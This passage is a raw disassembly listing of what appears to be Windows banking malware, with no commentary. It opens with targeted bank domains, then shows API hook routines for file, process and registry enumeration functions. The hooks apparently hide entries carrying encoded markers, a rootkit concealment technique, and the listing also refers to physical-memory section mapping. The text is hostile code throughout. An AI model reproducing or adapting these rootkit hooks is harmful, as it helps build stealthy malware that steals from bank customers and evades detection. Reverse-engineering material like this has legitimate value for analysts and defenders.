aWww_mdmbank_ru ; "www.mdmbank.ru" dd offset aGronxplanets_r ; "gronxplanets.ru" dd offset aChevychasebank ; "chevychasebank.com" aM_kvwoh db 'm.K‚woH',0 aSoftwareMicros db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_4096E4+4FFo ; sub_4096E4+597o ... aOfstkkq db 'ofstkkq',0 ; DATA XREF: sub_4096E4+4FAo ; sub_4096E4+592o align 4 aOfstkkqc db 'ofstkkqc',0 ; DATA XREF: sub_4096E4+5F6o ; sub_4096E4+795o aRT_2 db 'R t',0 align 4 dword_43B214 dd 0 ; sub_40ADF7:loc_40AF71r ... dword_43B218 dd 0 ; sub_40ADF7+88r ... aWtAj db 'wt,aj',0 dword_43B222 dd 836220h align 4 dword_43B228 dd 3Bh ; sub_401DE8+8Dw ... align 10h dd 12h dword_43B234 dd 0 ; .text:loc_401432r ... dword_43B238 dd 6A3Fh, 7, 11hdword_43B244 dd 0 ; sub_401565:loc_401560r ... aVyfuC db '+vyfu C',0 ; DATA XREF: sub_4015C0+16o aPzlvp4 db 'PzL‚P4',0 ; DATA XREF: sub_4015C0+59o a7cx db '#7CX|',0 ; DATA XREF: sub_4015C0+96o align 10h dd 1, 0Bh dword_43B268 dd 0 ; .text:loc_4016BAr ... aXd9 db ' xd9',0 ; DATA XREF: sub_401719+52o align 4 dw 8 unicode 0, <>,0 dw 0Ah unicode 0, <>,0 dword_43B27C dd 0 ; .text:loc_4017B7r ... a8l7 db '8l 7',0 ; DATA XREF: sub_40181E+1Bo aYb db 'Y',0 ; DATA XREF: sub_40181E+49o aM7 db 'm7',0 ; DATA XREF: sub_40181E+98o align 4 dd 1, 0Bh dword_43B294 dd 0 ; .text:loc_40195Br ... aXd9_0 db ' xd9',0 ; DATA XREF: .text:00401A02o align 10h dd 4, 0Eh dword_43B2A8 dd 0 ; .text:loc_401A4Cr ... aA_ db '<A*_',0 ; DATA XREF: sub_401AC1+52o aB61 db 'B 61',0 ; DATA XREF: sub_401AC1+6Eo align 4 dd 4, 0Eh dword_43B2C0 dd 0 ; .text:loc_401BE8r ... aA__0 db '<A*_',0 ; DATA XREF: sub_401C5D+3Fo align 4 dd 1, 0Eh dword_43B2D4 dd 0 ; .text:loc_401D7Fr ... byte_43B2D8 db 0 ; DATA XREF: sub_401DE8+C1o dword_43B2D9 dd 30396Ch byte_43B2DD db 0 ; DATA XREF: sub_401DE8+385o word_43B2DE dw 692Fh ; DATA XREF: sub_401DE8+39Ao dd 0 off_43B2E4 dd offset loc_401E69 ; DATA XREF: sub_401DE8+75r dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_4020B1 dd offset loc_402033 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_401EE9 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_401EE9 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_401EE9 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EB4 dd offset loc_401EB4 dd offset loc_401EE9 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401EE9 dd offset loc_401EE9 dd offset loc_401F5B dd offset loc_401F86 dd offset loc_401FFE dd offset loc_401FC4 dd offset loc_401ED8 dd offset loc_401FB2 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401FB2 dd offset loc_401FC4 dd offset loc_401FB2 dd offset loc_401FB2 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 off_43B514 dd offset loc_401E69 ; DATA XREF: sub_401DE8+281r dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401FDB dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401FEE dd offset loc_401FEE dd offset loc_401FEE dd offset loc_401FEE dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401ED8 dd offset loc_401FFE dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FB2 dd offset loc_401FB2 dd offset loc_402014 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401FB2 dd offset loc_401FC4 dd offset loc_402020 dd offset loc_4020B1 dd offset loc_402014 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E7B dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401E69 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401ED8 dd offset loc_401FFE dd offset loc_401FFE dd offset loc_401FDB dd offset loc_401ED8 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401F0F dd offset loc_40202C dd offset loc_401F30 dd offset loc_401F30 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E96 dd offset loc_401E96 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_401E69 dd offset loc_401E69 off_43B6E4 dd offset loc_402075 ; DATA XREF: sub_401DE8+26Cr dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_4020AA dd offset loc_4020AA dd offset loc_4020B1 dd offset loc_4020AA dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_40208E dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_402075 dd offset loc_40209B dd offset loc_402075 dd offset loc_4020AA dd offset loc_4020AA dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_402075 dd offset loc_40209B dd offset loc_402075 dd offset loc_4020AA dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_4020AA dd offset loc_4020AA dd offset loc_40209B dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_402075 dd offset loc_4020AA dd offset loc_4020AA dd offset loc_4020AA dd offset loc_4020AA dd offset loc_4020AA dd offset loc_4020AA dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 dd offset loc_4020B1 aFindnextfilea db 'FindNextFileA',0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43B873: ; CODE XREF: .data:0043B8BCj push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BA80h test eax, eax jz short loc_43B8BE pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43B88D: ; CODE XREF: .data:0043B893j cmp byte ptr [ebx], 0 jz short loc_43B895 inc ebx jmp short loc_43B88D ; --------------------------------------------------------------------------- loc_43B895: ; CODE XREF: .data:0043B890j mov word ptr [ebx], 463Ah inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FC4B6h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43B8BB popa jmp short loc_43B8BE ; --------------------------------------------------------------------------- loc_43B8BB: ; CODE XREF: .data:0043B8B6j popa jmp short loc_43B873 ; --------------------------------------------------------------------------- loc_43B8BE: ; CODE XREF: .data:0043B880j ; .data:0043B8B9j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h db 65h, 57h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43B8F4: ; CODE XREF: .data:0043B943j push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BB01h test eax, eax jz short loc_43B945 pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43B90E: ; CODE XREF: .data:0043B916j cmp word ptr [ebx], 0 jz short loc_43B918 inc ebx inc ebx jmp short loc_43B90E ; --------------------------------------------------------------------------- loc_43B918: ; CODE XREF: .data:0043B912j mov dword ptr [ebx], 46003Ah add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50C63Dh pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43B942 popa jmp short loc_43B945 ; --------------------------------------------------------------------------- loc_43B942: ; CODE XREF: .data:0043B93Dj popa jmp short loc_43B8F4 ; --------------------------------------------------------------------------- loc_43B945: ; CODE XREF: .data:0043B901j ; .data:0043B940j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- dw 0FFFFh dword_43B958 dd 0FFFFFFh, 7551744Eh, 53797265h, 65747379h, 666E496Dh ; DATA XREF: .data:0043BEA4o dd 616D726Fh, 6E6F6974h db 0 ; --------------------------------------------------------------------------- loc_43B975: ; DATA XREF: .data:0043BEACo push ebp mov ebp, esp sub esp, 24h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx sub esp, 10h mov eax, [ebp+14h] mov edi, [ebp+10h] mov ebx, [ebp+0Ch] mov [esp+0Ch], eax mov [esp+8], edi mov [esp+4], ebx mov esi, [ebp+8] mov [esp], esi call near ptr 245BBABh mov [ebp-4], eax cmp esi, 5 jz short loc_43B9C5 loc_43B9B1: ; CODE XREF: .data:0043B9CBj ; .data:0043BA1Ej mov eax, [ebp-4] mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- loc_43B9C5: ; CODE XREF: .data:0043B9AFj cmp edi, 1F40h jle short loc_43B9B1 jmp short loc_43B9D3 ; --------------------------------------------------------------------------- loc_43B9CF: ; CODE XREF: .data:0043BA20j mov esi, ebx loc_43B9D1: ; CODE XREF: .data:0043BA18j add ebx, eax loc_43B9D3: ; CODE XREF: .data:0043B9CDj pusha mov eax, [ebx+44h] push 50h sub esp, 20h xor ebx, ebx loc_43B9E1: ; CODE XREF: .data:0043B9F4j bt eax, ebx jb short loc_43B9EC mov byte ptr [esp+ebx], 30h jmp short loc_43B9F0 ; --------------------------------------------------------------------------- loc_43B9EC: ; CODE XREF: .data:0043B9E4j mov byte ptr [esp+ebx], 31h loc_43B9F0: ; CODE XREF: .data:0043B9EAj inc ebx cmp ebx, 20h jnz short loc_43B9E1 push esp call near ptr 0C4FC608h add esp, 24h test ax, ax jnz short loc_43BA07 popa jmp short loc_43BA1A ; --------------------------------------------------------------------------- loc_43BA07: ; CODE XREF: .data:0043BA02j popa mov eax, [ebx] test eax, eax jnz short loc_43BA16 mov dword ptr [esi], 0 jmp short loc_43BA1A ; --------------------------------------------------------------------------- loc_43BA16: ; CODE XREF: .data:0043BA0Cj add [esi], eax jmp short loc_43B9D1 ; --------------------------------------------------------------------------- loc_43BA1A: ; CODE XREF: .data:0043BA05j ; .data:0043BA14j mov eax, [ebx] test eax, eax jz short loc_43B9B1 jmp short loc_43B9CF ; --------------------------------------------------------------------------- dw 0FFFFh dd 0FFFFFFh aProcess32next db 'Process32Next',0 ; DATA XREF: .data:off_43BE94o word_43BA36 dw 8360h ; DATA XREF: .data:off_43BE9Co dd 46A08C5h, 0B0BE855h, 0C0850B0Bh, 0EB610374h, 458B610Bh dd 1013D08h, 14740101h, 80808E8h, 1FF8108h, 74010101h dd 1013D07h, 5750101h, 20202E9h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43BA7E: ; CODE XREF: .data:0043BACCj sub esp, 8 mov ebx, [ebp+0Ch] mov edi, [ebp+8] mov [esp+4], ebx mov [esp], edi call near ptr 245BC95h test eax, eax jz short loc_43BACE pusha mov eax, [ebx+8] push 50h sub esp, 20h xor ebx, ebx loc_43BAA5: ; CODE XREF: .data:0043BAB8j bt eax, ebx jb short loc_43BAB0 mov byte ptr [esp+ebx], 30h jmp short loc_43BAB4 ; --------------------------------------------------------------------------- loc_43BAB0: ; CODE XREF: .data:0043BAA8j mov byte ptr [esp+ebx], 31h loc_43BAB4: ; CODE XREF: .data:0043BAAEj inc ebx cmp ebx, 20h jnz short loc_43BAA5 push esp call near ptr 0C4FC6CCh add esp, 24h test ax, ax jnz short loc_43BACB popa jmp short loc_43BACE ; --------------------------------------------------------------------------- loc_43BACB: ; CODE XREF: .data:0043BAC6j popa jmp short loc_43BA7E ; --------------------------------------------------------------------------- loc_43BACE: ; CODE XREF: .data:0043BA95j ; .data:0043BAC9j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43BAF4: ; CODE XREF: .data:0043BB41j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BD07h test eax, eax jnz short loc_43BB43 pusha mov eax, [ebp+10h] mov ebx, eax loc_43BB0F: ; CODE XREF: .data:0043BB15j cmp byte ptr [ebx], 0 jz short loc_43BB17 inc ebx jmp short loc_43BB0F ; --------------------------------------------------------------------------- loc_43BB17: ; CODE XREF: .data:0043BB12j mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FC738h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43BB3D popa jmp short loc_43BB43 ; --------------------------------------------------------------------------- loc_43BB3D: ; CODE XREF: .data:0043BB38j popa inc dword ptr [ebp+0Ch] jmp short loc_43BAF4 ; --------------------------------------------------------------------------- loc_43BB43: ; CODE XREF: .data:0043BB07j ; .data:0043BB3Bj pop ebp retn 10h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43BB5C: ; CODE XREF: .data:0043BBAFj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BD6Fh test eax, eax jnz short loc_43BBB1 pusha mov eax, [ebp+10h] mov ebx, eax loc_43BB77: ; CODE XREF: .data:0043BB7Fj cmp word ptr [ebx], 0 jz short loc_43BB81 inc ebx inc ebx jmp short loc_43BB77 ; --------------------------------------------------------------------------- loc_43BB81: ; CODE XREF: .data:0043BB7Bj mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50C8A6h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43BBAB popa jmp short loc_43BBB1 ; --------------------------------------------------------------------------- loc_43BBAB: ; CODE XREF: .data:0043BBA6j popa inc dword ptr [ebp+0Ch] jmp short loc_43BB5C ; --------------------------------------------------------------------------- loc_43BBB1: ; CODE XREF: .data:0043BB6Fj ; .data:0043BBA9j pop ebp retn 10h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dword_43BBB8 dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h db 0 ; --------------------------------------------------------------------------- loc_43BBC9: ; DATA XREF: .data:0043BEFCo push ebp mov ebp, esp loc_43BBCC: ; CODE XREF: .data:0043BC47j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43BBDA push dword ptr [eax] loc_43BBDA: ; CODE XREF: .data:0043BBD6j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BDF9h test eax, eax jnz short loc_43BC49 pusha mov eax, [ebp+10h] mov ebx, eax loc_43BC01: ; CODE XREF: .data:0043BC09j cmp word ptr [ebx], 0 jz short loc_43BC0B inc ebx inc ebx jmp short loc_43BC01 ; --------------------------------------------------------------------------- loc_43BC0B: ; CODE XREF: .data:0043BC05j mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50C930h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43BC35 popa jmp short loc_43BC49 ; --------------------------------------------------------------------------- loc_43BC35: ; CODE XREF: .data:0043BC30j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43BC42 pop dword ptr [eax] loc_43BC42: ; CODE XREF: .data:0043BC3Ej mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43BBCC ; --------------------------------------------------------------------------- loc_43BC49: ; CODE XREF: .data:0043BBF9j ; .data:0043BC33j add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43BC55 add esp, 4 loc_43BC55: ; CODE XREF: .data:0043BC50j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43BC70: ; CODE XREF: .data:0043BCE5j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43BC7E push dword ptr [eax] loc_43BC7E: ; CODE XREF: .data:0043BC7Aj push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BE9Dh test eax, eax jnz short loc_43BCE7 pusha mov eax, [ebp+10h] mov ebx, eax loc_43BCA5: ; CODE XREF: .data:0043BCABj cmp byte ptr [ebx], 0 jz short loc_43BCAD inc ebx jmp short loc_43BCA5 ; --------------------------------------------------------------------------- loc_43BCAD: ; CODE XREF: .data:0043BCA8j mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FC8CEh pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43BCD3 popa jmp short loc_43BCE7 ; --------------------------------------------------------------------------- loc_43BCD3: ; CODE XREF: .data:0043BCCEj popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43BCE0 pop dword ptr [eax] loc_43BCE0: ; CODE XREF: .data:0043BCDCj mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43BC70 ; --------------------------------------------------------------------------- loc_43BCE7: ; CODE XREF: .data:0043BC9Dj ; .data:0043BCD1j add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43BCF3 add esp, 4 loc_43BCF3: ; CODE XREF: .data:0043BCEEj pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dword_43BCF8 dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 57h, 0 ; --------------------------------------------------------------------------- loc_43BD0B: ; DATA XREF: .data:0043BF1Co push ebp mov ebp, esp loc_43BD0E: ; CODE XREF: .data:0043BD89j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43BD1C push dword ptr [eax] loc_43BD1C: ; CODE XREF: .data:0043BD18j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BF3Bh test eax, eax jnz short loc_43BD8B pusha mov eax, [ebp+10h] mov ebx, eax loc_43BD43: ; CODE XREF: .data:0043BD4Bj cmp word ptr [ebx], 0 jz short loc_43BD4D inc ebx inc ebx jmp short loc_43BD43 ; --------------------------------------------------------------------------- loc_43BD4D: ; CODE XREF: .data:0043BD47j mov dword ptr [ebx], 560023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50CA72h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43BD77 popa jmp short loc_43BD8B ; --------------------------------------------------------------------------- loc_43BD77: ; CODE XREF: .data:0043BD72j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43BD84 pop dword ptr [eax] loc_43BD84: ; CODE XREF: .data:0043BD80j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43BD0E ; --------------------------------------------------------------------------- loc_43BD8B: ; CODE XREF: .data:0043BD3Bj ; .data:0043BD75j add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43BD97 add esp, 4 loc_43BD97: ; CODE XREF: .data:0043BD92j pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 41h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43BDB2: ; CODE XREF: .data:0043BE27j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43BDC0 push dword ptr [eax] loc_43BDC0: ; CODE XREF: .data:0043BDBCj push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245BFDFh test eax, eax jnz short loc_43BE29 pusha mov eax, [ebp+10h] mov ebx, eax loc_43BDE7: ; CODE XREF: .data:0043BDEDj cmp byte ptr [ebx], 0 jz short loc_43BDEF inc ebx jmp short loc_43BDE7 ; --------------------------------------------------------------------------- loc_43BDEF: ; CODE XREF: .data:0043BDEAj mov word ptr [ebx], 5623h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FCA10h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43BE15 popa jmp short loc_43BE29 ; --------------------------------------------------------------------------- loc_43BE15: ; CODE XREF: .data:0043BE10j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43BE22 pop dword ptr [eax] loc_43BE22: ; CODE XREF: .data:0043BE1Ej mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43BDB2 ; --------------------------------------------------------------------------- loc_43BE29: ; CODE XREF: .data:0043BDDFj ; .data:0043BE13j add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43BE35 add esp, 4 loc_43BE35: ; CODE XREF: .data:0043BE30j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) db 2 dup(0FFh), 0 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402B12+44Do ; .data:off_43BE98o aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_4022D1+Ao ; .data:0043BEA8o ... aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: .data:0043BEF8o ; .data:0043BF18o aIphlpapi_dll db 'iphlpapi.dll',0 aInetmib1_dll db 'inetmib1.dll',0 aWsock32_dll db 'wsock32.dll',0 aUser32_dll db 'user32.dll',0 off_43BE94 dd offset aProcess32next ; DATA XREF: sub_402B12+C5r ; sub_402B12+F8r ... ; "Process32Next" off_43BE98 dd offset aKernel32_dll ; DATA XREF: sub_402B12+A6r ; "kernel32.dll" off_43BE9C dd offset word_43BA36 ; DATA XREF: sub_402936+1BAr byte_43BEA0 db 0 ; DATA XREF: sub_402B12+71r ; sub_402B12+8Er align 4 dd offset dword_43B958+4 dd offset aNtdll_dll ; "ntdll.dll" dd offset loc_43B975 dd 1, 43B8D5h, 43BE3Fh, 43B8E3h, 1, 43B854h, 43BE3Fh, 43B862h dd 2, 43BB4Dh, 43BE56h, 43BB59h, 1, 43BAE5h, 43BE56h, 43BAF1h dd 0 dd offset dword_43BBB8+3 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43BBC9 dd 1, 43BC5Fh, 43BE56h, 43BC6Dh, 0 dd offset dword_43BCF8+5 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43BD0B dd 1, 43BDA1h, 43BE56h, 43BDAFh, 5 dup(0) dd 7 dword_43BF48 dd 0Fh dword_43BF4C dd 0 ; .text:loc_402270r ... aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_4022D1+1Bo aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_4022D1+30o aAxo db 'AXo',0 aNtopensection db 'NtOpenSection',0 ; DATA XREF: sub_4022D1+40o a1e db ' 1E',0 aNtmapviewofsec db 'NtMapViewOfSection',0 ; DATA XREF: sub_4022D1+50o aRtlntstatustod db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_4022D1+60o a_mip@ db '_mIP@',0 aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_402355+B0o aDevicePhysical: ; DATA XREF: sub_402355+1Fo unicode 0, <\device\physicalmemory>,0 word_43BFFA dw 58h ; DATA XREF: sub_402355+15r aZ9daw db 'z9Daw',0 ; DATA XREF: sub_4024F3+34o align 4 dword_43C004 dd 8 ; sub_403010+ECr dd 0Dh dword_43C00C dd 0 ; .text:loc_4025BFr ... aWcscmp db 